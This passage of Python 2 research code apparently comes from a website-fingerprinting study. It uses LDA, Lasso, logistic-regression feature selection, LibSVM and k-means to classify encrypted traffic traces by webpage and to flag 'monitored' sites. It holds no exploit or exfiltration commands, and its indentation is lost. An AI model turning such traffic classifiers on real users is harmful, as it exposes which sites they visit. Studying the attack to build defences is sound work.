sklearn_lda = LDA(solver='svd',n_components=config.n_components_LDA)
#sklearn_lda = LDA(solver='eigen',n_components=config.n_components_LDA)
#X_lda_sklearn = sklearn_lda.fit_transform(X[0:config.BUCKET_SIZE * config.NUM_TRAINING_TRACES], y[0:config.BUCKET_SIZE * config.NUM_TRAINING_TRACES])
lda_sklearn = sklearn_lda.fit(X[0:config.BUCKET_SIZE * config.NUM_TRAINING_TRACES], y[0:config.BUCKET_SIZE * config.NUM_TRAINING_TRACES])
#transformedX = sklearn_lda.fit_transform(X[0:config.BUCKET_SIZE * config.NUM_TRAINING_TRACES], y[0:config.BUCKET_SIZE * config.NUM_TRAINING_TRACES])
#print transformedX
X_train_lda_sklearn = lda_sklearn.transform(X[0:config.BUCKET_SIZE * config.NUM_TRAINING_TRACES])
X_test_lda_sklearn = lda_sklearn.transform(X[config.BUCKET_SIZE * config.NUM_TRAINING_TRACES:])
newTrainList = []
newTestList = []
newTrainList.append('@RELATION sites')
newTestList.append('@RELATION sites')
for i in range(0,config.n_components_LDA):
newTrainList.append('@ATTRIBUTE k'+ str(i+1) +' real')
newTestList.append('@ATTRIBUTE k'+ str(i+1) +' real')
newTrainList.append('@ATTRIBUTE class '+classes)
newTestList.append('@ATTRIBUTE class '+classes)
newTrainList.append('@DATA')
newTestList.append('@DATA')
#print X_train_lda_sklearn
for i in xrange(len(X_train_lda_sklearn)):
#print X_train_lda_sklearn[i]
newTrainList.append(','.join([str(k) for k in X_train_lda_sklearn[i]]) + ',' + y[i])
for i in xrange(len(X_test_lda_sklearn)):
newTestList.append(','.join([str(k) for k in X_test_lda_sklearn[i]]) + ',' + y[i+len(X_train_lda_sklearn)])
# writing the new training file (with lower dimensions)
fnewTrainName = files[0][:-5]+'_LDA_'+str(config.n_components_LDA)+'.arff'
fnewTrain = open(fnewTrainName, 'w')
for item in newTrainList:
fnewTrain.write(item+'\n')
fnewTrain.close()
# writing the new testing file (with lower dimensions)
fnewTestName = files[1][:-5]+'_LDA_'+str(config.n_components_LDA)+'.arff'
fnewTest = open(fnewTestName, 'w')
for item in newTestList:
fnewTest.write(item+'\n')
fnewTest.close()
return [fnewTrainName,fnewTestName]
'''
@staticmethod
def calcQDA(files): # Linear (Multi Class) Discriminant Analysis
#trainList = Utils.readFile1(files[0])
#testList = Utils.readFile1(files[1])
trainList = Utils.readFile(files[0])
testList = Utils.readFile(files[1])
instancesList = []
classes = ""
labels = []
for line in trainList:
if line[0] == '@':
if line.lower().startswith("@attribute class"):
classes = line.split(" ")[2]
else:
#instancesList.append(float(line.split(",")[:-1]))
instancesList.append([float(i) for i in line.split(",")[:-1]])
labels.append(line.split(",")[-1])
for line in testList:
if line[0] != '@':
instancesList.append([float(i) for i in line.split(",")[:-1]])
labels.append(line.split(",")[-1])
X = np.array(instancesList)
y = np.array(labels)
#X = (X - np.mean(X, 0)) / np.std(X, 0) # scale data before CPA
#print X[0:1,0:1]
preprocessing.scale(X, axis=0, with_mean=True, with_std=True, copy=False)
#print X
#sklearn_lda = LDA(solver='svd',n_components=config.n_components_LDA)
sklearn_lda = QDA()
#sklearn_lda = LDA(solver='eigen',n_components=config.n_components_LDA)
#X_lda_sklearn = sklearn_lda.fit_transform(X[0:config.BUCKET_SIZE * config.NUM_TRAINING_TRACES], y[0:config.BUCKET_SIZE * config.NUM_TRAINING_TRACES])
lda_sklearn = sklearn_lda.fit(X[0:config.BUCKET_SIZE * config.NUM_TRAINING_TRACES], y[0:config.BUCKET_SIZE * config.NUM_TRAINING_TRACES])
#transformedX = sklearn_lda.fit_transform(X[0:config.BUCKET_SIZE * config.NUM_TRAINING_TRACES], y[0:config.BUCKET_SIZE * config.NUM_TRAINING_TRACES])
#print transformedX
X_train_lda_sklearn = lda_sklearn.transform(X[0:config.BUCKET_SIZE * config.NUM_TRAINING_TRACES])
X_test_lda_sklearn = lda_sklearn.transform(X[config.BUCKET_SIZE * config.NUM_TRAINING_TRACES:])
newTrainList = []
newTestList = []
newTrainList.append('@RELATION sites')
newTestList.append('@RELATION sites')
for i in range(0,config.n_components_LDA):
newTrainList.append('@ATTRIBUTE k'+ str(i+1) +' real')
newTestList.append('@ATTRIBUTE k'+ str(i+1) +' real')
newTrainList.append('@ATTRIBUTE class '+classes)
newTestList.append('@ATTRIBUTE class '+classes)
newTrainList.append('@DATA')
newTestList.append('@DATA')
#print X_train_lda_sklearn
for i in xrange(len(X_train_lda_sklearn)):
#print X_train_lda_sklearn[i]
newTrainList.append(','.join([str(k) for k in X_train_lda_sklearn[i]]) + ',' + y[i])
for i in xrange(len(X_test_lda_sklearn)):
newTestList.append(','.join([str(k) for k in X_test_lda_sklearn[i]]) + ',' + y[i+len(X_train_lda_sklearn)])
# writing the new training file (with lower dimensions)
fnewTrainName = files[0][:-5]+'_LDA_'+str(config.n_components_LDA)+'.arff'
fnewTrain = open(fnewTrainName, 'w')
for item in newTrainList:
fnewTrain.write(item+'\n')
fnewTrain.close()
# writing the new testing file (with lower dimensions)
fnewTestName = files[1][:-5]+'_LDA_'+str(config.n_components_LDA)+'.arff'
fnewTest = open(fnewTestName, 'w')
for item in newTestList:
fnewTest.write(item+'\n')
fnewTest.close()
return [fnewTrainName,fnewTestName]
'''
@staticmethod
def plot_scikit_lda(X, title, y, label_dict, mirror=1):
ax = plt.subplot(111)
for label,marker,color in zip(
range(1,4),('^', 's', 'o'),('blue', 'red', 'green')):
plt.scatter(x=X[:,0][y == label]*mirror,
y=X[:,1][y == label],
marker=marker,
color=color,
alpha=0.5,
label=label_dict[label]
)
plt.xlabel('LD1')
plt.ylabel('LD2')
leg = plt.legend(loc='upper right', fancybox=True)
leg.get_frame().set_alpha(0.5)
plt.title(title)
# hide axis ticks
plt.tick_params(axis="both", which="both", bottom="off", top="off",
labelbottom="on", left="off", right="off", labelleft="on")
# remove axis spines
ax.spines["top"].set_visible(False)
ax.spines["right"].set_visible(False)
ax.spines["bottom"].set_visible(False)
ax.spines["left"].set_visible(False)
plt.grid()
plt.tight_layout
plt.show()
'''
@staticmethod
def calcLasso(files):
trainList = Utils.readFile1(files[0])
testList = Utils.readFile1(files[1])
instancesList = []
classes = ""
y=[]
for line in trainList:
if line[0] == '@':
if line.lower().startswith("@attribute class"):
classes = line.split(" ")[2]
else:
#instancesList.append(float(line.split(",")[:-1]))
instancesList.append([float(i) for i in line.split(",")[:-1]])
#y.append(line.split(",")[-1])
y.append(line.split(",")[-1].split("webpage")[1]) # taking the ID of the website as the library works on numbers
for line in testList:
if line[0] != '@':
instancesList.append([float(i) for i in line.split(",")[:-1]])
#y.append(line.split(",")[-1])
y.append(line.split(",")[-1].split("webpage")[1]) # taking the ID of the website as the library works on numbers
#print instancesList
X = np.array(instancesList) #.astype(np.float)
y = np.array(y).astype(np.float)
clf = linear_model.Lasso(alpha = 0.1)
clf.fit(X[0:config.BUCKET_SIZE * config.NUM_TRAINING_TRACES], y[0:config.BUCKET_SIZE * config.NUM_TRAINING_TRACES])
print(clf.coef_)
print(X[config.BUCKET_SIZE * config.NUM_TRAINING_TRACES])
print(clf.predict(X[config.BUCKET_SIZE * config.NUM_TRAINING_TRACES]))
print(clf.predict(X[(config.BUCKET_SIZE * config.NUM_TRAINING_TRACES)+1]))
print(clf.predict(X[(config.BUCKET_SIZE * config.NUM_TRAINING_TRACES)+2]))
print(clf.predict(X[(config.BUCKET_SIZE * config.NUM_TRAINING_TRACES)+3]))
# model = SelectFromModel(clf, prefit=True)
# X_new = model.transform(X)
# X_new.shape
newTrainList = []
newTestList = []
newTrainList.append('@RELATION sites')
newTestList.append('@RELATION sites')
for i in range(0,config.n_components_PCA):
newTrainList.append('@ATTRIBUTE k'+ str(i+1) +' real')
newTestList.append('@ATTRIBUTE k'+ str(i+1) +' real')
newTrainList.append('@ATTRIBUTE class '+classes)
newTestList.append('@ATTRIBUTE class '+classes)
newTrainList.append('@DATA')
newTestList.append('@DATA')
ctr = 0
# #for item in X_lda_sklearn:
# for i in xrange(len(X)):
# webpageInstance=[]
# for j in range(0,config.n_components_PCA):
# webpageInstance.append(X[i].T.dot(sklearn_transf.components_[j]))
# #print webpageInstance
# if ctr < config.BUCKET_SIZE * config.NUM_TRAINING_TRACES:
# newTrainList.append(','.join([str(k) for k in webpageInstance]) + ',' + y[i])
# else:
# newTestList.append(','.join([str(k) for k in webpageInstance]) + ',' + y[i])
#
# ctr = ctr + 1
#
#
# # writing the new training file (with lower dimensions)
fnewTrainName = files[0][:-5]+'_lasso_.arff'
# fnewTrain = open(fnewTrainName, 'w')
# for item in newTrainList:
# fnewTrain.write(item+'\n')
#
# fnewTrain.close()
#
# # writing the new testing file (with lower dimensions)
fnewTestName = files[1][:-5]+'_lasso.arff'
# fnewTest = open(fnewTestName, 'w')
# for item in newTestList:
# fnewTest.write(item+'\n')
#
# fnewTest.close()
return [fnewTrainName,fnewTestName]
@staticmethod
def calcLasso2(files):
# Author: Manoj Kumar <mks542@nyu.edu>
# License: BSD 3 clause
print(__doc__)
# Load the boston dataset.
boston = load_boston()
X, y = boston['data'], boston['target']
print 'X'
print X
print '\n'
print 'y'
print y
X = X[0:10,0:5]
y = y[0:10]
print 'X'
print X
print '\n'
print 'y'
print y
# We use the base estimator LassoCV since the L1 norm promotes sparsity of features.
clf = LassoCV()
# Set a minimum threshold of 0.25
sfm = SelectFromModel(clf, threshold=0.25)
sfm.fit(X, y)
n_features = sfm.transform(X).shape[1]
# Reset the threshold till the number of features equals two.
# Note that the attribute can be set directly instead of repeatedly
# fitting the metatransformer.
while n_features > 2:
sfm.threshold += 0.1
X_transform = sfm.transform(X)
n_features = X_transform.shape[1]
print 'X'
print X
print '\n'
print 'y'
print y
print 'X_transform[:, 0]'
print X_transform[:, 0]
print '\n'
print 'X_transform[:, 1]'
print X_transform[:, 1]
#print '\n'
#print 'X_transform[:, 2]'
#print X_transform[:, 2]
print '\n'
print 'sfm.get_support'
print sfm.get_support(indices=True)
# Plot the selected two features from X.
plt.title(
"Features selected from Boston using SelectFromModel with "
"threshold %0.3f." % sfm.threshold)
feature1 = X_transform[:, 0]
feature2 = X_transform[:, 1]
plt.plot(feature1, feature2, 'r.')
plt.xlabel("Feature number 1")
plt.ylabel("Feature number 2")
plt.ylim([np.min(feature2), np.max(feature2)])
plt.show()
#-----------------
@staticmethod
def calcLasso3(files):
trainList = Utils.readFile1(files[0])
testList = Utils.readFile1(files[1])
instancesList = []
classes = ""
y=[]
for line in trainList:
if line[0] == '@':
if line.lower().startswith("@attribute class"):
classes = line.split(" ")[2]
else:
#instancesList.append(float(line.split(",")[:-1]))
instancesList.append([float(i) for i in line.split(",")[:-1]])
#y.append(line.split(",")[-1])
y.append(line.split(",")[-1].split("webpage")[1]) # taking the ID of the website as the library works on numbers
for line in testList:
if line[0] != '@':
instancesList.append([float(i) for i in line.split(",")[:-1]])
#y.append(line.split(",")[-1])
y.append(line.split(",")[-1].split("webpage")[1]) # taking the ID of the website as the library works on numbers
#print instancesList
X = np.array(instancesList) #.astype(np.float)
y = np.array(y).astype(np.float)
#print 'X'
#print X
#print '\n'
#print 'y'
#print y
#
##X = X[0:10,0:5]
##y = y[0:10]
#
#print 'X'
#print X
#print '\n'
#print 'y'
#print y
# We use the base estimator LassoCV since the L1 norm promotes sparsity of features.
clf = LassoCV(max_iter=10000)
#clf = LassoCV(max_iter=1000)
# Set a minimum threshold of 0.25
sfm = SelectFromModel(clf, threshold=0.25)
#sfm = SelectFromModel(clf, threshold=0)
sfm.fit(X[0:config.BUCKET_SIZE * config.NUM_TRAINING_TRACES], y[0:config.BUCKET_SIZE * config.NUM_TRAINING_TRACES])
n_features = sfm.transform(X).shape[1]
print 'n_features'
print n_features
print '\n'
# Reset the threshold till the number of features equals two.
# Note that the attribute can be set directly instead of repeatedly
# fitting the metatransformer.
#while n_features > 2:
while n_features > config.lasso:
sfm.threshold += 0.1
X_transform = sfm.transform(X)
n_features = X_transform.shape[1]
#print 'X'
#print X
#print '\n'
#print 'y'
#print y
#print '\n'
#print 'sfm.get_support'
#print sfm.get_support(indices=True)
#
#print 'X_transform[:, 0]'
#print X_transform[:, 0]
#print '\n'
#print 'X_transform[:, 1]'
#print X_transform[:, 1]
##print '\n'
##print 'X_transform[:, 2]'
##print X_transform[:, 2]
print '\n'
print 'sfm.get_support'
print sfm.get_support(indices=True)
# Plot the selected two features from X.
plt.title(
"Features selected from Boston using SelectFromModel with "
"threshold %0.3f." % sfm.threshold)
feature1 = X_transform[:, 0]
feature2 = X_transform[:, 1]
plt.plot(feature1, feature2, 'r.')
plt.xlabel("Feature number 1")
plt.ylabel("Feature number 2")
plt.ylim([np.min(feature2), np.max(feature2)])
plt.show()
#-----------------
@staticmethod
def calcLogisticRegression(files):
trainList = Utils.readFile1(files[0])
#testList = Utils.readFile1(files[1])
instancesList = []
classes = ""
y=[]
for line in trainList:
if line[0] == '@':
if line.lower().startswith("@attribute class"):
classes = line.split(" ")[2]
else:
#instancesList.append(float(line.split(",")[:-1]))
instancesList.append([float(i) for i in line.split(",")[:-1]])
y.append(line.split(",")[-1])
#y.append(line.split(",")[-1].split("webpage")[1]) # taking the ID of the website as the library works on numbers
#for line in testList:
# if line[0] != '@':
# instancesList.append([float(i) for i in line.split(",")[:-1]])
# y.append(line.split(",")[-1])
# #y.append(line.split(",")[-1].split("webpage")[1]) # taking the ID of the website as the library works on numbers
#print instancesList
X = np.array(instancesList) #.astype(np.float)
y = np.array(y)
print 'File'
print files[0]
print 'n_features original:'
print len(X[0])
print '\n'
clf = LogisticRegression(penalty='l2',max_iter=1000,solver='newton-cg') # solver : {'newton-cg', 'lbfgs', 'liblinear', 'sag'}
# Set a minimum threshold of 0.25
#sfm = SelectFromModel(clf, threshold=0.25)
sfm = SelectFromModel(clf, threshold=config.lasso)
#sfm = SelectFromModel(clf, threshold=0)
sfm.fit(X, y) # take training data only
n_features = sfm.transform(X).shape[1]
#config.Num_Features_Selected = 100 # for testing
if config.Num_Features_Selected != 0: # If we want a fixed number of features
while n_features > config.Num_Features_Selected:
#while n_features > config.lasso:
sfm.threshold += 0.1
X_transform = sfm.transform(X)
n_features = X_transform.shape[1]
print 'n_features selected:'
print n_features
print '\n'
print '\n'
print 'sfm.get_support'
print sfm.get_support(indices=True)
selectedFeaturesList = np.array(sfm.get_support(indices=True)).tolist()
print selectedFeaturesList
#'#All Features','Threshold','#Selected Features','Accuracy All','Accuracy Selected'
output = [len(X[0])]
output.append(config.lasso)
output.append(n_features)
Utils.__applyFeatureSelection(files[0], files[1], selectedFeaturesList, output)
#-----------------
@staticmethod
def __applyFeatureSelection(trainingFilename, testingFilename, featuresList, output):
# if not os.path.exists(outputFoldername):
# os.mkdir(outputFoldername)
# else:
# shutil.rmtree(outputFoldername) # delete and remake folder
# os.mkdir(outputFoldername)
[accuracy,debugInfo] = wekaAPI.execute( trainingFilename,
testingFilename,
"weka.Run weka.classifiers.functions.LibSVM",
['-K','2', # RBF kernel
'-G','0.0000019073486328125', # Gamma
##May20 '-Z', # normalization 18 May 2015
'-C','131072'] ) # Cost
#print outputFoldername
print 'accuracy before feature selection ' + str(accuracy)
output.append(str(accuracy))
trainList = Utils.readFile(trainingFilename)
testList = Utils.readFile(testingFilename)
#featuresList = Utils.readFile(featuresFilename)
#featuresList = featuresList[0].split("{")[1].split("}")[0].split(",")
featuresList = [int(i) for i in featuresList]
featuresList = sorted(featuresList)
#print featuresList.__contains__(4)
newTrainList = []
newTestList = []
for i in range(len(trainList)):
if trainList[i].startswith('@'):
if trainList[i].startswith('@ATTRIBUTE'):
if featuresList.__contains__(i-1): # featuresList index startr from 0, arff features(line) starts from 1
#print trainList[i].split(" ")[1]
newTrainList.append(trainList[i])
else:
newTrainList.append(trainList[i])
if trainList[i].startswith('@ATTRIBUTE class'):
newTrainList.append(trainList[i])
else:
newInstance = []
instanceSplit = trainList[i].split(",")
newInstance = [instanceSplit[j] for j in featuresList] # take indecies from featuresList whose index starts from 0
#newInstance = [instanceSplit[j-1] for j in featuresList] # take indecies from featuresList whose index starts from 1
#for j in range(len(instanceSplit)):
# if featuresList.__contains__(j+1):
# newInstance.append(instanceSplit[j])
newInstance.append(instanceSplit[-1])
newTrainList.append(",".join(newInstance))
for i in range(len(testList)):
if testList[i].startswith('@'):
if testList[i].startswith('@ATTRIBUTE'):
if featuresList.__contains__(i-1): # featuresList index startr from 0, arff features(line) starts from 1
#print testList[i].split(" ")[1]
newTestList.append(testList[i])
else:
newTestList.append(testList[i])
if testList[i].startswith('@ATTRIBUTE class'):
newTestList.append(testList[i])
else:
newInstance = []
instanceSplit = testList[i].split(",")
newInstance = [instanceSplit[j] for j in featuresList] # take indecies from featuresList whose index starts from 0
#newInstance = [instanceSplit[j-1] for j in featuresList] # take indecies from featuresList whose index starts from 1
#for j in range(len(instanceSplit)):
# if featuresList.__contains__(j+1):
# newInstance.append(instanceSplit[j])
newInstance.append(instanceSplit[-1])
newTestList.append(",".join(newInstance))
fnewTrainName = trainingFilename[:-5]+'_Features'+'.arff'
fnewTrain = open(fnewTrainName, 'w')
for item in newTrainList:
fnewTrain.write(item+'\n')
fnewTrain.close()
# writing the new testing file (with lower dimensions)
fnewTestName = testingFilename[:-5]+'_Features'+'.arff'
fnewTest = open(fnewTestName, 'w')
for item in newTestList:
fnewTest.write(item+'\n')
fnewTest.close()
[accuracy,debugInfo] = wekaAPI.execute( fnewTrainName,
fnewTestName,
"weka.Run weka.classifiers.functions.LibSVM",
['-K','2', # RBF kernel
'-G','0.0000019073486328125', # Gamma
##May20 '-Z', # normalization 18 May 2015
'-C','131072'] ) # Cost
print 'accuracy after feature selection ' + str(accuracy)
output.append(str(accuracy))
summary = ', '.join(itertools.imap(str, output))
outputFilename = Utils.getOutputFileName(trainingFilename)
f = open( outputFilename+'.output', 'a' )
f.write( "\n"+summary )
f.close()
print ''
#-----------------
@staticmethod
def calcLogisticRegressionTest(files):
boston = load_boston()
X, y = boston['data'], boston['target']
#print 'X'
#print X
#print '\n'
#print 'y'
#print y
#
X = X[0:20,0:5]
y = y[0:20]
y = np.array(y).astype(np.int)
#
print 'X'
print X
print '\n'
print 'y'
print y
# We use the base estimator LassoCV since the L1 norm promotes sparsity of features.
clf = LogisticRegression(penalty='l2',max_iter=1000,solver='newton-cg') # solver : {'newton-cg', 'lbfgs', 'liblinear', 'sag'}
#clf = LassoCV(max_iter=1000)
# Set a minimum threshold of 0.25
sfm = SelectFromModel(clf, threshold=0.25)
#sfm = SelectFromModel(clf, threshold=0)
sfm.fit(X, y)
n_features = sfm.transform(X).shape[1]
print 'n_features'
print n_features
print '\n'
# Reset the threshold till the number of features equals two.
# Note that the attribute can be set directly instead of repeatedly
# fitting the metatransformer.
while n_features > 2:
#while n_features > config.lasso:
sfm.threshold += 0.1
X_transform = sfm.transform(X)
n_features = X_transform.shape[1]
#print 'X'
#print X
#print '\n'
#print 'y'
#print y
#print '\n'
#print 'sfm.get_support'
#print sfm.get_support(indices=True)
#
print 'X_transform[:, 0]'
print X_transform[:, 0]
print '\n'
print 'X_transform[:, 1]'
print X_transform[:, 1]
print '\n'
##print 'X_transform[:, 2]'
##print X_transform[:, 2]
print '\n'
print 'sfm.get_support'
print sfm.get_support(indices=True)
# Plot the selected two features from X.
plt.title(
"Features selected from Boston using SelectFromModel with "
"threshold %0.3f." % sfm.threshold)
feature1 = X_transform[:, 0]
feature2 = X_transform[:, 1]
plt.plot(feature1, feature2, 'r.')
plt.xlabel("Feature number 1")
plt.ylabel("Feature number 2")
plt.ylim([np.min(feature2), np.max(feature2)])
plt.show()
@staticmethod
def getOutputFileName(arffFileName):
#outputFilenameArray = ['resultsRegression',
# 'k'+str(config.BUCKET_SIZE),
# 'c'+str(config.COUNTERMEASURE),
# 'd'+str(config.DATA_SOURCE),
# 'C'+str(config.CLASSIFIER),
# 'N'+str(config.TOP_N),
# 't'+str(config.NUM_TRAINING_TRACES),
# 'T'+str(config.NUM_TESTING_TRACES),
# 'D' + str(config.GLOVE_OPTIONS['packetSize']),
# 'E' + str(config.GLOVE_OPTIONS['burstSize']),
# 'F' + str(config.GLOVE_OPTIONS['burstTime']),
# 'G' + str(config.GLOVE_OPTIONS['burstNumber']),
# 'H' + str(config.GLOVE_OPTIONS['biBurstSize']),
# 'I' + str(config.GLOVE_OPTIONS['biBurstTime']),
# 'A' + str(int(config.IGNORE_ACK)),
# 'V' + str(int(config.FIVE_NUM_SUM)),
# 'P' + str(int(config.n_components_PCA)),
# 'G' + str(int(config.n_components_LDA)),
# 'l' + str(int(config.lasso)),
# 'b' + str(int(config.bucket_Size))
#
# ]
#outputFilenameArray = arffFileName.split(config.RUN_ID)[1].split("-train")[0]
# datafile-0dvnu5c1k80.c0.d0.C23.N775.t16.T4.D1.E1.F1.G1.H1.I1.B16.J8.K300.L0.05.M100.A0.V0.P0.G0.l0.5.b600-train.arff
arffFileName = arffFileName.split("datafile-")[1]
#outputFilenameArray = 'resultsRegression.' + arffFileName[25:-11]
outputFilenameArray = 'resultsRegression.' + arffFileName[8:-11]
outputFilename = os.path.join(config.OUTPUT_DIR,outputFilenameArray)
if not os.path.exists(outputFilename+'.output'):
banner = ['#All Features','Threshold','#Selected Features','Accuracy-All','Accuracy-Selected']
f = open( outputFilename+'.output', 'w' )
f.write(','.join(banner))
f.close()
return outputFilename
@staticmethod
def calcKmeans(files, numMonitored, numClusters, description):
trainList = Utils.readFile(files[0])
testList = Utils.readFile(files[1])
trainingInstancesList = []
monClasses = []
unmonClasses = []
X_testing=[]
Y_testing=[]
for line in trainList:
if line[0] == '@':
if line.lower().startswith("@attribute class"):
monClasses = line.split(" ")[2].split("{")[1].split("}")[0].split(",")
else:
#instancesList.append(float(line.split(",")[:-1]))
trainingInstancesList.append([float(i) for i in line.split(",")[:-1]])
#y.append(line.split(",")[-1])
for line in testList:
if line[0] != '@':
currY = line.split(",")[-1]
if monClasses.__contains__(currY): # add all testing monitored instances
X_testing.append([float(i) for i in line.split(",")[:-1]])
Y_testing.append(line.split(",")[-1])
else: # nonMonitored instance
if not unmonClasses.__contains__(currY): # add one instance only from unmonitored classes
unmonClasses.append(currY)
X_testing.append([float(i) for i in line.split(",")[:-1]])
Y_testing.append(currY)
#if line[0] != '@':
# X_testing.append([float(i) for i in line.split(",")[:-1]])
# Y_testing.append(line.split(",")[-1])
#print instancesList
X = np.array(trainingInstancesList)
#X = np.array([[1, 2],
# [5, 8],
# [1.5, 1.8],
# [8, 8],
# [1, 0.6],
# [9, 11]])
#print X
#X = (X - np.mean(X, 0)) / np.std(X, 0) # scale data before CPA
km = KMeans(n_clusters=numClusters, init='k-means++', max_iter=100, n_init=1,
verbose=0)
km.fit(X) # building the clusters from the monitored instances only
#print km.cluster_centers_[0]
#print km.labels_
# indexes of point in a specific cluster
#index = [x[0] for x, value in np.ndenumerate(km.labels_) if value==0] # value==cluster number
#print index
# get radius of each cluster
radius = [0]*len(km.cluster_centers_) # initialize the radius list to zeros
#print radius
for clusIndx in range(len(km.cluster_centers_)):
# indexes of points in a specific cluster
pointsIndex = [x[0] for x, value in np.ndenumerate(km.labels_) if value==clusIndx]
maxDist = -1
for i in pointsIndex:
# Euclidean distance
currDist = np.linalg.norm(X[i] - km.cluster_centers_[clusIndx])
if currDist > maxDist:
radius[clusIndx] = currDist
#maxDist = currDist
maxDist = currDist
#X_testing = np.array([[1, 2],
# [5, 8],
# [1.5, 1.8],
# [8, 8],
# [1, 0.6],
# [9, 11]])
#Y_testing = np.array([0,
# 0,
# 0,
# 1,
# 1,
# 1])
#monClasses = [0,1]
tp = 0
fp = 0
tn = 0
fn = 0
inside = False
for i in range(len(X_testing)):
inside = False
for clusIndx in range(len(km.cluster_centers_)):
dist = np.linalg.norm(X_testing[i] - km.cluster_centers_[clusIndx])
if dist <= radius[clusIndx]: #/1.5:#/2.0:
inside = True
if inside:
if monClasses.__contains__(Y_testing[i]):
tp += 1
else:
fp += 1
else:
if monClasses.__contains__(Y_testing[i]):
fn += 1
else:
tn += 1
print "\n"
print "radii: "
print radius
print "NumMonitored: " + str(numMonitored)
print "NumClusters: " + str(numClusters)
print "dataset: " + str(files)
print "tp = " + str(tp)
print "tn = " + str(tn)
print "fp = " + str(fp)
print "fn = " + str(fn)
tpr = str( "%.2f" % (float(tp)/float(tp+fn)) )
fpr = str( "%.2f" % (float(fp)/float(fp+tn) ))
Acc = str( "%.2f" % (float(tp+tn)/float(tp+tn+fp+fn) ))
F2 = str( "%.2f" % (float(5*tp)/float((5*tp)+(4*fn)+(fp)) )) # beta = 2
print "tpr = " + tpr
print "fpr = " + fpr
print "Acc = " + Acc
print "F2 = " + F2
output = []
output.append(tpr)
output.append(fpr)
output.append(Acc)
output.append(F2)
output.append(str(tp))
output.append(str(tn))
output.append(str(fp))
output.append(str(fn))
output.append(description)
output.append(numClusters)
output.append(config.RUN_ID)
summary = '\t, '.join(itertools.imap(str, output))
outputFilename = Utils.getOutputFileNameOW(files[0])
f = open( outputFilename+'.output', 'a' )
f.write( "\n"+summary )
f.close()
print ''
@staticmethod
def calcEnsembleKmeans(files, numMonitored, numClusters, description):
trainList = Utils.readFile(files[0])
testList = Utils.readFile(files[1])
trainingInstancesList = []
monClasses = []
unmonClasses = []
X_testing=[]
Y_testing=[]
for line in trainList:
if line[0] == '@':
if line.lower().startswith("@attribute class"):
monClasses = line.split(" ")[2].split("{")[1].split("}")[0].split(",")
else:
#instancesList.append(float(line.split(",")[:-1]))
trainingInstancesList.append([float(i) for i in line.split(",")[:-1]])
#y.append(line.split(",")[-1])
for line in testList:
if line[0] != '@':
currY = line.split(",")[-1]
if monClasses.__contains__(currY): # add all testing monitored instances
X_testing.append([float(i) for i in line.split(",")[:-1]])
Y_testing.append(line.split(",")[-1])
else: # nonMonitored instance
if not unmonClasses.__contains__(currY): # add one instance only from unmonitored classes
unmonClasses.append(currY)
X_testing.append([float(i) for i in line.split(",")[:-1]])
Y_testing.append(currY)
#if line[0] != '@':
# X_testing.append([float(i) for i in line.split(",")[:-1]])
# Y_testing.append(line.split(",")[-1])
#print instancesList
X = np.array(trainingInstancesList)
#X = np.array([[1, 2],
# [5, 8],
# [1.5, 1.8],
# [8, 8],
# [1, 0.6],
# [9, 11]])
#print X
#X = (X - np.mean(X, 0)) / np.std(X, 0) # scale data before CPA
km = KMeans(n_clusters=numClusters, init='k-means++', max_iter=100, n_init=1,
verbose=0)
km.fit(X) # building the clusters from the monitored instances only
#print km.cluster_centers_[0]
#print km.labels_
# indexes of point in a specific cluster
#index = [x[0] for x, value in np.ndenumerate(km.labels_) if value==0] # value==cluster number
#print index
# get radius of each cluster
radius = [0]*len(km.cluster_centers_) # initialize the radius list to zeros
#print radius
for clusIndx in range(len(km.cluster_centers_)):
# indexes of points in a specific cluster
pointsIndex = [x[0] for x, value in np.ndenumerate(km.labels_) if value==clusIndx]
maxDist = -1
for i in pointsIndex:
# Euclidean distance
currDist = np.linalg.norm(X[i] - km.cluster_centers_[clusIndx])
if currDist > maxDist:
radius[clusIndx] = currDist
#maxDist = currDist
maxDist = currDist
#X_testing = np.array([[1, 2],
# [5, 8],
# [1.5, 1.8],
# [8, 8],
# [1, 0.6],
# [9, 11]])
#Y_testing = np.array([0,
# 0,
# 0,
# 1,
# 1,
# 1])
#monClasses = [0,1]
tp = 0
fp = 0
tn = 0
fn = 0
inside = False
for i in range(len(X_testing)):
inside = False
for clusIndx in range(len(km.cluster_centers_)):
dist = np.linalg.norm(X_testing[i] - km.cluster_centers_[clusIndx])
if dist <= radius[clusIndx]: #/1.5:#/2.0:
inside = True
if inside:
if monClasses.__contains__(Y_testing[i]):
tp += 1
else:
fp += 1
else:
if monClasses.__contains__(Y_testing[i]):
fn += 1
else:
tn += 1
print "\n"
print "radii: "
print radius
print "NumMonitored: " + str(numMonitored)
print "NumClusters: " + str(numClusters)
print "dataset: " + str(files)
print "tp = " + str(tp)
print "tn = " + str(tn)
print "fp = " + str(fp)
print "fn = " + str(fn)
tpr = str( "%.2f" % (float(tp)/float(tp+fn)) )
fpr = str( "%.2f" % (float(fp)/float(fp+tn) ))
Acc = str( "%.2f" % (float(tp+tn)/float(tp+tn+fp+fn) ))
F2 = str( "%.2f" % (float(5*tp)/float((5*tp)+(4*fn)+(fp)) )) # beta = 2
print "tpr = " + tpr
print "fpr = " + fpr
print "Acc = " + Acc
print "F2 = " + F2
output = []
output.append(tpr)
output.append(fpr)
output.append(Acc)
output.append(F2)
output.append(str(tp))
output.append(str(tn))
output.append(str(fp))
output.append(str(fn))
output.append(description)
output.append(numClusters)
output.append(config.RUN_ID)
summary = '\t, '.join(itertools.imap(str, output))
outputFilename = Utils.getOutputFileNameOW(files[0])
f = open( outputFilename+'.output', 'a' )
f.write( "\n"+summary )
f.close()
print ''
@staticmethod
def calcKmeansCvxHullDelaunay(files, numMonitored, numClusters, description):
trainList = Utils.readFile(files[0])
testList = Utils.readFile(files[1])
trainingInstancesList = []
monClasses = []
unmonClasses = []
X_testing=[]
Y_testing=[]
for line in trainList:
if line[0] == '@':
if line.lower().startswith("@attribute class"):
monClasses = line.split(" ")[2].split("{")[1].split("}")[0].split(",")
else:
#instancesList.append(float(line.split(",")[:-1]))
trainingInstancesList.append([float(i) for i in line.split(",")[:-1]])
#y.append(line.split(",")[-1])
for line in testList:
if line[0] != '@':
currY = line.split(",")[-1]
if monClasses.__contains__(currY): # add all testing monitored instances
X_testing.append([float(i) for i in line.split(",")[:-1]])
Y_testing.append(line.split(",")[-1])
else: # nonMonitored instance
if not unmonClasses.__contains__(currY): # add one instance only from unmonitored classes
unmonClasses.append(currY)
X_testing.append([float(i) for i in line.split(",")[:-1]])
Y_testing.append(currY)
#if line[0] != '@':
# X_testing.append([float(i) for i in line.split(",")[:-1]])
